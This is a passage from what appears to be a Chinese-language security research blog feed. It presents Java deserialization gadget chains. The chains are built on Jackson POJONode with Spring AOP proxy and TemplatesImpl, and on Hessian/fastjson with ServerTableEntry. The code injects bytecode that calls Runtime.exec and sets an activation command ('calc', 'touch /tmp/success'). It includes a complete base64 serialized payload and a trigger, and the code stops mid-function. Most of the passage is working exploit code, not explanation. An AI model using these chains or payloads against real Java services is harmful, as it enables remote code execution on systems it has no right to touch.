class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Unsafe <span class="title function_">getUnsafe</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="comment">// 通过反射得到theUnsafe对应的Field对象</span></span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> Unsafe.class.getDeclaredField(<span class="string">&quot;theUnsafe&quot;</span>);</span><br><span class="line">        <span class="comment">// 设置该Field为可访问</span></span><br><span class="line">        field.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="comment">// 通过Field得到该Field对应的具体对象，传入null是因为该Field为static的</span></span><br><span class="line">        unsafe = (Unsafe) field.get(<span class="literal">null</span>);</span><br><span class="line">        <span class="keyword">return</span> unsafe;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">setObject</span><span class="params">(Object o, Field field, Object value)</span> &#123;</span><br><span class="line">        unsafe.putObject(o, unsafe.objectFieldOffset(field), value);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">getObject</span><span class="params">(Object o, Field field)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span>  unsafe.getObject(o, unsafe.objectFieldOffset(field));</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">newClass</span><span class="params">(Class c)</span> <span class="keyword">throws</span> InstantiationException &#123;</span><br><span class="line">        <span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> unsafe.allocateInstance(c);</span><br><span class="line">        <span class="keyword">return</span> o;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">bypassModule</span><span class="params">(Class src, Class dst)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">Unsafe</span> <span class="variable">unsafe</span> <span class="operator">=</span> getUnsafe();</span><br><span class="line">        <span class="type">long</span> <span class="variable">addr</span> <span class="operator">=</span> unsafe.objectFieldOffset(Class.class.getDeclaredField(<span class="string">&quot;module&quot;</span>));</span><br><span class="line">        unsafe.getAndSetObject(src, addr, unsafe.getObject(dst,unsafe.objectFieldOffset(Class.class.getDeclaredField(<span class="string">&quot;module&quot;</span>))));</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[] getObjectBytes(Class o) <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="keyword">return</span> Repository.lookupClass(o).getBytes();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        CtClass ctClass3= pool.get(<span class="string">&quot;com.fasterxml.jackson.databind.node.BaseJsonNode&quot;</span>);</span><br><span class="line">        <span class="type">CtMethod</span> <span class="variable">writeReplace</span> <span class="operator">=</span> ctClass3.getDeclaredMethod(<span class="string">&quot;writeReplace&quot;</span>);</span><br><span class="line">        ctClass3.removeMethod(writeReplace);</span><br><span class="line">        ctClass3.toClass();</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;Calc&quot;</span>);</span><br><span class="line"></span><br><span class="line">        ctClass.addConstructor(</span><br><span class="line">                CtNewConstructor.make(<span class="string">&quot;public Calc() &#123; Runtime.getRuntime().exec(\&quot;calc\&quot;); &#125;&quot;</span>, ctClass)</span><br><span class="line">        );</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">ctClass1</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;Foo&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="type">byte</span>[] bytecode = ctClass.toBytecode();</span><br><span class="line">        <span class="type">byte</span>[] bytecode1 = ctClass1.toBytecode();</span><br><span class="line"></span><br><span class="line">        Class&lt;?&gt; aClass = Class.forName(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl&quot;</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">templates</span> <span class="operator">=</span> newClass(aClass);</span><br><span class="line">        setObject(templates, aClass.getDeclaredField(<span class="string">&quot;_name&quot;</span>), <span class="string">&quot;n1ght&quot;</span>);</span><br><span class="line"></span><br><span class="line">        setObject(templates, aClass.getDeclaredField(<span class="string">&quot;_sdom&quot;</span>), <span class="keyword">new</span> <span class="title class_">ThreadLocal</span>());</span><br><span class="line">        setObject(templates, aClass.getDeclaredField(<span class="string">&quot;_tfactory&quot;</span>), newClass(Class.forName(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl&quot;</span>)));</span><br><span class="line"><span class="comment">//        setObject(templates, aClass.getDeclaredField(&quot;_bytecodes&quot;), new byte[][] &#123;bytecode, bytecode1&#125;);</span></span><br><span class="line">        setObject(templates, aClass.getDeclaredField(<span class="string">&quot;_bytecodes&quot;</span>), <span class="keyword">new</span> <span class="title class_">byte</span>[][] &#123;bytecode, bytecode1&#125;);</span><br><span class="line"><span class="comment">//        setObject(templates, aClass.getDeclaredField(&quot;_bytecodes&quot;), new byte[][] &#123;TomcatEcho.testCalc()&#125;);</span></span><br><span class="line">        Class&lt;?&gt; jdkDynamicAopProxy = Class.forName(<span class="string">&quot;org.springframework.aop.framework.JdkDynamicAopProxy&quot;</span>);</span><br><span class="line">        Class&lt;?&gt; advisedSupport = Class.forName(<span class="string">&quot;org.springframework.aop.framework.AdvisedSupport&quot;</span>);</span><br><span class="line">        Constructor&lt;?&gt; constructor = jdkDynamicAopProxy.getConstructor(advisedSupport);</span><br><span class="line">        constructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">advisedSupport1</span> <span class="operator">=</span> advisedSupport.newInstance();</span><br><span class="line">        <span class="type">Method</span> <span class="variable">setTarget</span> <span class="operator">=</span> advisedSupport1.getClass().getMethod(<span class="string">&quot;setTarget&quot;</span>, Object.class);</span><br><span class="line">        setTarget.invoke(advisedSupport1, templates);</span><br><span class="line">        <span class="type">InvocationHandler</span> <span class="variable">invocationHandler</span> <span class="operator">=</span> (InvocationHandler)constructor.newInstance(advisedSupport1);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">proxy</span> <span class="operator">=</span> Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Templates.class&#125;, invocationHandler);</span><br><span class="line">        </span><br><span class="line">        Class&lt;?&gt; name = Class.forName(<span class="string">&quot;com.fasterxml.jackson.databind.node.POJONode&quot;</span>);</span><br><span class="line">        Constructor&lt;?&gt; constructor1 = name.getConstructor(Object.class);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">node</span> <span class="operator">=</span> constructor1.newInstance(proxy);</span><br><span class="line"><span class="comment">//        Object node = constructor1.newInstance(templates);</span></span><br><span class="line"><span class="comment">//        JSONObject jsonObject = new JSONObject();</span></span><br><span class="line"><span class="comment">//        jsonObject.put(&quot;aaa&quot;,proxy);</span></span><br><span class="line">        <span class="type">EventListenerList</span> <span class="variable">list2</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">EventListenerList</span>();</span><br><span class="line">        <span class="type">UndoManager</span> <span class="variable">manager</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">UndoManager</span>();</span><br><span class="line">        <span class="type">Vector</span> <span class="variable">vector</span> <span class="operator">=</span> (Vector) getObject(manager, CompoundEdit.class.getDeclaredField(<span class="string">&quot;edits&quot;</span>));</span><br><span class="line">        vector.add(node);</span><br><span class="line"><span class="comment">//        vector.add(jsonObject);</span></span><br><span class="line">        setObject(list2, EventListenerList.class.getDeclaredField(<span class="string">&quot;listenerList&quot;</span>), <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;InternalError.class, manager&#125;);</span><br><span class="line"><span class="comment">//        proxy.toString();</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">s</span> <span class="operator">=</span> base64Serial(list2);</span><br><span class="line">        System.out.println(s);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> base64DeSerial(s);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>没有触发</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20250820215440-3gy1i9m.png" alt="image"></p><p>调用newInstance触发</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20250820215518-ugu7tt1.png" alt="image"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.demo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.util.Base64;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Main</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        String s= <span class="string">&quot;rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdJFIzC1z3w7eAwAAeHB0ABdqYXZhLmxhbmcuSW50ZXJuYWxFcnJvcnNyABxqYXZheC5zd2luZy51bmRvLlVuZG9NYW5hZ2Vy8X6fHQgqwh0CAAJJAA5pbmRleE9mTmV4dEFkZEkABWxpbWl0eHIAHWphdmF4LnN3aW5nLnVuZG8uQ29tcG91bmRFZGl0pZ5QulPblf0CAAJaAAppblByb2dyZXNzTAAFZWRpdHN0ABJMamF2YS91dGlsL1ZlY3Rvcjt4cgAlamF2YXguc3dpbmcudW5kby5BYnN0cmFjdFVuZG9hYmxlRWRpdAgNG47tAgsQAgACWgAFYWxpdmVaAAtoYXNCZWVuRG9uZXhwAQEBc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAGRzcgAsY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuUE9KT05vZGUAAAAAAAAAAgIAAUwABl92YWx1ZXQAEkxqYXZhL2xhbmcvT2JqZWN0O3hyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc30AAAABAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuSmRrRHluYW1pY0FvcFByb3h5TMS0cQ7rlvwCAAFMAAdhZHZpc2VkdAAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc2VkU3VwcG9ydDt4cHNyADBvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuQWR2aXNlZFN1cHBvcnQky4o8+qTFdQIABloAC3ByZUZpbHRlcmVkTAATYWR2aXNvckNoYWluRmFjdG9yeXQAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNvckNoYWluRmFjdG9yeTtMAAphZHZpc29yS2V5dAAQTGphdmEvdXRpbC9MaXN0O0wACGFkdmlzb3JzcQB+ABtMAAppbnRlcmZhY2VzcQB+ABtMAAx0YXJnZXRTb3VyY2V0ACZMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvVGFyZ2V0U291cmNlO3hyAC1vcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuUHJveHlDb25maWeLS/Pmp+D3bwIABVoAC2V4cG9zZVByb3h5WgAGZnJvemVuWgAGb3BhcXVlWgAIb3B0aW1pemVaABBwcm94eVRhcmdldENsYXNzeHAAAAAAAABzcgA8b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkRlZmF1bHRBZHZpc29yQ2hhaW5GYWN0b3J5A8nnSQWpqEwCAAB4cHNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAAAdwQAAAAAeHEAfgAic3EAfgAhAAAAAHcEAAAAAHhzcgA0b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AudGFyZ2V0LlNpbmdsZXRvblRhcmdldFNvdXJjZX1VbvXH+Pq6AgABTAAGdGFyZ2V0cQB+AA54cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAAAAAAAdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAAASzK/rq+AAAANwAYAQAEQ2FsYwcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAApTb3VyY2VGaWxlAQAJQ2FsYy5qYXZhAQAGPGluaXQ+AQADKClWDAAHAAgKAAQACQEAEWphdmEvbGFuZy9SdW50aW1lBwALAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADQAOCgAMAA8BAARjYWxjCAARAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEwAUCgAMABUBAARDb2RlACEAAgAEAAAAAAABAAEABwAIAAEAFwAAABoAAgABAAAADiq3AAq4ABASErYAFlexAAAAAAABAAUAAAACAAZ1cQB+AC4AAACWyv66vgAAADcADAEAA0ZvbwcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAApTb3VyY2VGaWxlAQAIRm9vLmphdmEBAAY8aW5pdD4BAAMoKVYMAAcACAoABAAJAQAEQ29kZQAhAAIABAAAAAAAAQABAAcACAABAAsAAAARAAEAAQAAAAUqtwAKsQAAAAAAAQAFAAAAAgAGcHQABW4xZ2h0cHcBAHhwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB4AAAAAAAAAGRweA==&quot;</span>;</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(Base64.getDecoder().decode(s))).readObject();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;今天看到了师傅在群里发的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/yezere/images/master/image/01f258315b23969a24b44be6e74edb80-2025082021444</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>blackhat-JDD-hessian反序列化jdk_fastjson链</title>
    <link href="https://www.n1ght.cn/2025/08/21/blackhat-JDD-hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96jdk_fastjson%E9%93%BE/"/>
    <id>https://www.n1ght.cn/2025/08/21/blackhat-JDD-hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96jdk_fastjson%E9%93%BE/</id>
    <published>2025-08-21T06:00:00.000Z</published>
    <updated>2025-08-21T06:40:27.951Z</updated>
    
    <content type="html"><![CDATA[<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">ServerManagerImpl</span> <span class="variable">serverManager</span> <span class="operator">=</span> (ServerManagerImpl) unsafe.allocateInstance(ServerManagerImpl.class);</span><br><span class="line">      HashMap&lt;Integer, ServerTableEntry&gt; hashMap =<span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">      <span class="type">ServerTableEntry</span> <span class="variable">serverTableEntry</span> <span class="operator">=</span> (ServerTableEntry) unsafe.allocateInstance(ServerTableEntry.class);</span><br><span class="line">      hashMap.put(<span class="number">1</span>,serverTableEntry);</span><br><span class="line">      ReflectTools.setFieldValue(serverTableEntry,<span class="string">&quot;state&quot;</span> ,<span class="number">2</span>);</span><br><span class="line">      ReflectTools.setFieldValue(serverTableEntry, <span class="string">&quot;activateRetryCount&quot;</span>,<span class="number">0</span>);</span><br><span class="line">      ReflectTools.setFieldValue(serverTableEntry, <span class="string">&quot;debug&quot;</span>, <span class="literal">false</span>);</span><br><span class="line">      ReflectTools.setFieldValue(serverTableEntry, <span class="string">&quot;activationCmd&quot;</span>, <span class="string">&quot;touch /tmp/success&quot;</span>);</span><br><span class="line"></span><br><span class="line">      <span class="type">Object</span> <span class="variable">process</span> <span class="operator">=</span> unsafe.allocateInstance(Class.forName(<span class="string">&quot;java.lang.UNIXProcess&quot;</span>));</span><br><span class="line">      ReflectTools.setFieldValue(process, <span class="string">&quot;hasExited&quot;</span>, <span class="literal">true</span>);</span><br><span class="line">      ReflectTools.setFieldValue(serverTableEntry, <span class="string">&quot;process&quot;</span>, process);</span><br><span class="line">      ReflectTools.setFieldValue(serverManager, <span class="string">&quot;serverTable&quot;</span>, hashMap);</span><br><span class="line">      <span class="type">JSONArray</span> <span class="variable">objects</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">JSONArray</span>(serverManager);</span><br><span class="line">      <span class="type">BadAttributeValueExpException</span> <span class="variable">bad</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BadAttributeValueExpException</span>(<span class="literal">null</span>);</span><br><span class="line">      ReflectTools.setFieldValue(bad, <span class="string">&quot;val&quot;</span>, objects);</span><br><span class="line">      <span class="type">ByteArrayOutputStream</span> <span class="variable">byteArrayOutputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">      <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(byteArrayOutputStream).writeObject(bad);</span><br></pre></td></tr></table></figure><p>但是我在序列化JSONArray的时候出现了一些问题</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/20250821143016.png"></p><p>Exception in thread “main” java.io.NotSerializableException: com.sun.corba.se.impl.activation.ServerTableEntry</p><p>我该如何去解决它</p><p>发现他是hessian反序列化</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.n1ght;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.fastjson2.JSONObject;</span><br><span class="line"><span class="keyword">import</span> com.caucho.hessian.io.Hessian2Input;</span><br><span class="line"><span class="keyword">import</span> com.caucho.hessian.io.Hessian2Output;</span><br><span class="line"><span class="keyword">import</span> com.caucho.hessian.io.SerializerFactory;</span><br><span class="line"><span class="keyword">import</span> com.sun.corba.se.impl.activation.ServerManagerImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.corba.se.impl.activation.ServerTableEntry;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xpath.internal.objects.XStringForFSB;</span><br><span class="line"><span class="keyword">import</span> sun.reflect.ReflectionFactory;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Random;</span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.ConcurrentHashMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> <span class="keyword">static</span> com.sun.org.apache.xalan.internal.xsltc.compiler.Constants.CHARACTERS;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Main</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">ServerManagerImpl</span> <span class="variable">serverManager</span> <span class="operator">=</span> createWithObjectNoArgsConstructor(ServerManagerImpl.class);</span><br><span class="line">        HashMap&lt;Integer, ServerTableEntry&gt; hashMap =<span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        <span class="type">ServerTableEntry</span> <span class="variable">serverTableEntry</span> <span class="operator">=</span> createWithObjectNoArgsConstructor(ServerTableEntry.class);</span><br><span class="line">        hashMap.put(<span class="number">1</span>,serverTableEntry);</span><br><span class="line">        setFieldValue(serverTableEntry, <span class="string">&quot;state&quot;</span>,<span class="number">2</span>);</span><br><span class="line">        setFieldValue(serverTableEntry, <span class="string">&quot;activateRetryCount&quot;</span>,<span class="number">0</span>);</span><br><span class="line">        setFieldValue(serverTableEntry, <span class="string">&quot;debug&quot;</span>, <span class="literal">false</span>);</span><br><span class="line">        setFieldValue(serverTableEntry, <span class="string">&quot;activationCmd&quot;</span>, <span class="string">&quot;calc&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">//        Object process = createWithObjectNoArgsConstructor(Class.forName(&quot;java.lang.UNIXProcess&quot;));</span></span><br><span class="line"><span class="comment">//        setFieldValue(process, &quot;hasExited&quot;, true);</span></span><br><span class="line"><span class="comment">//        setFieldValue(serverTableEntry, &quot;process&quot;, process);</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//        setFieldValue(serverManager, &quot;serverTable&quot;, hashMap);</span></span><br><span class="line">        <span class="type">Object</span> <span class="variable">process</span> <span class="operator">=</span> createWithObjectNoArgsConstructor(Class.forName(<span class="string">&quot;java.lang.ProcessImpl&quot;</span>));</span><br><span class="line">        setFieldValue(process, <span class="string">&quot;handle&quot;</span>, <span class="number">6</span>);</span><br><span class="line">        setFieldValue(serverTableEntry, <span class="string">&quot;process&quot;</span>, process);</span><br><span class="line">        setFieldValue(serverManager, <span class="string">&quot;serverTable&quot;</span>, hashMap);</span><br><span class="line">        <span class="type">JSONObject</span> <span class="variable">jsonObject</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">JSONObject</span>();</span><br><span class="line">        jsonObject.put(<span class="string">&quot;key&quot;</span>, serverManager);</span><br><span class="line">        <span class="type">XStringForFSB</span> <span class="variable">xStringForFSB</span> <span class="operator">=</span> createWithoutConstructor(XStringForFSB.class);</span><br><span class="line">        setFieldValue(xStringForFSB, <span class="string">&quot;m_strCache&quot;</span>, generateRandomString());</span><br><span class="line">        <span class="type">Object</span> <span class="variable">conEntry1</span> <span class="operator">=</span> createWithObjectNoArgsConstructor(Class.forName(<span class="string">&quot;java.util.concurrent.ConcurrentHashMap$MapEntry&quot;</span>));</span><br><span class="line">        <span class="type">Object</span> <span class="variable">conEntry2</span> <span class="operator">=</span> createWithObjectNoArgsConstructor(Class.forName(<span class="string">&quot;java.util.concurrent.ConcurrentHashMap$MapEntry&quot;</span>));</span><br><span class="line">        setFieldValue(conEntry1, <span class="string">&quot;key&quot;</span>, xStringForFSB);</span><br><span class="line">        setFieldValue(conEntry1, <span class="string">&quot;val&quot;</span>, jsonObject);</span><br><span class="line">        setFieldValue(conEntry2, <span class="string">&quot;key&quot;</span>, jsonObject);</span><br><span class="line">        setFieldValue(conEntry2, <span class="string">&quot;val&quot;</span>, xStringForFSB);</span><br><span class="line">        <span class="type">ConcurrentHashMap</span> <span class="variable">s</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ConcurrentHashMap</span>();</span><br><span class="line">        setFieldValue(s, <span class="string">&quot;sizeCtl&quot;</span>, <span class="number">2</span>);</span><br><span class="line">        Class nodeC;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            nodeC = Class.forName(<span class="string">&quot;java.util.concurrent.ConcurrentHashMap$Node&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">catch</span> ( ClassNotFoundException e ) &#123;</span><br><span class="line">            nodeC = Class.forName(<span class="string">&quot;java.util.concurrent.ConcurrentHashMap$Entry&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">Constructor</span> <span class="variable">nodeCons</span> <span class="operator">=</span> 